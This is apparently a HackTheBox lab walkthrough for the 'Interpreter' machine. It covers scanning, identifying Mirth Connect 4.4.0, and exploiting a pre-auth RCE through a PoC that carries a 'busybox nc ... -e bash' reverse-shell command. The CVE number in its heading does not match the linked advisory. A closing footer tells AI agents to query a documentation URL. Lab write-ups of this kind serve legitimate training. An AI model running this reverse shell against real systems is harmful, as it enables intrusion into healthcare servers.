# Interpreter HackTheBox

<figure><img src="/files/DJcXU1o10ieNAl8JrVzu" alt=""><figcaption></figcaption></figure>

### Scanning

```bash
nmap -p- --min-rate 10000 10.129.7.72
```

<figure><img src="/files/1bzyj8JOXlLJOQeKgZgv" alt=""><figcaption></figcaption></figure>

Service Enumeration

```
nmap -p22,80,443,6661 -sCV 10.129.7.72
```

<figure><img src="/files/LItvAnj2APPtxUoDgCkb" alt=""><figcaption></figcaption></figure>

### Website Enumeration

* Navigating to the port 80 there is webpage and redirect us to login page and it's login page frm
* Mirth Connect by NextGen Healthcare and bottom of the page © 2021 NextGen Healthcare | Mirth Connect

<figure><img src="/files/HkSN0YMz5fhYNKjj05yM" alt=""><figcaption></figcaption></figure>

What is mirth connect

Mirth Connect is an [open source](https://github.com/nextgenhealthcare/connect) data integration platform widely used by healthcare companies. This post dives into the technical details behind this vulnerability, which is ultimately related to insecure usage of the Java [XStream](https://x-stream.github.io/) library for unmarshalling XML payloads. If you’re a user of Mirth Connect and haven’t patched yet, we strongly encourage you to upgrade to the [4.4.1 patch release](https://github.com/nextgenhealthcare/connect/releases/tag/4.4.1) or later. This is an easily exploitable vulnerability that our own pentesting product, NodeZero, has exploited successfully against a number of healthcare organization

Source : <https://horizon3.ai/attack-research/disclosures/writeup-for-cve-2023-43208-nextgen-mirth-connect-pre-auth-rce/>

Clicking on the launch Mirth connect administrator it downloads a file called `webstart.jnlp`

<figure><img src="/files/ApZbfYYha1kNHHz7hEYd" alt=""><figcaption></figcaption></figure>

```
    <application-desc main-class="com.mirth.connect.client.ui.Mirth">
        <argument>https://10.129.7.72:443</argument>
        <argument>4.4.0</argument>
    </application-desc>
```

<figure><img src="/files/ylHSQS9ox2TmOvHEXmxF" alt=""><figcaption></figcaption></figure>

Mirth Connect Administrator4.4.0

<figure><img src="/files/UdRaJsvTZN7KggUlKBGr" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/TYjQAt08hEpPHyPxyuWR" alt=""><figcaption></figcaption></figure>

```bash
$ curl -s -k -H 'X-Requested-With: l1nuxkid' https://10.129.7.72/api/server/version
4.4.0                                                                                                                         
```

Come across this articles : <https://horizon3.ai/attack-research/disclosures/writeup-for-cve-2023-43208-nextgen-mirth-connect-pre-auth-rce/>

### CVE-2023-37679&#x20;

POC : <https://horizon3.ai/attack-research/disclosures/writeup-for-cve-2023-43208-nextgen-mirth-connect-pre-auth-rce/>

<figure><img src="/files/9dpVFzq8jFOB0o9ZQnHl" alt=""><figcaption></figcaption></figure>

```bash
python3 poc.py -u https://10.129.7.72 -c 'busybox nc 10.10.14.168 9090 -e bash'
```

<figure><img src="/files/j3ajyVmK36taeNMCkYNY" alt=""><figcaption></figcaption></figure>

```bash
penelop -p 9090
```

<figure><img src="/files/UKnUmGAmEjKTFMb6a8NN" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://l1nuxkid.gitbook.io/l1nuxkid-docs/hackthebox/interpreter-hackthebox.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
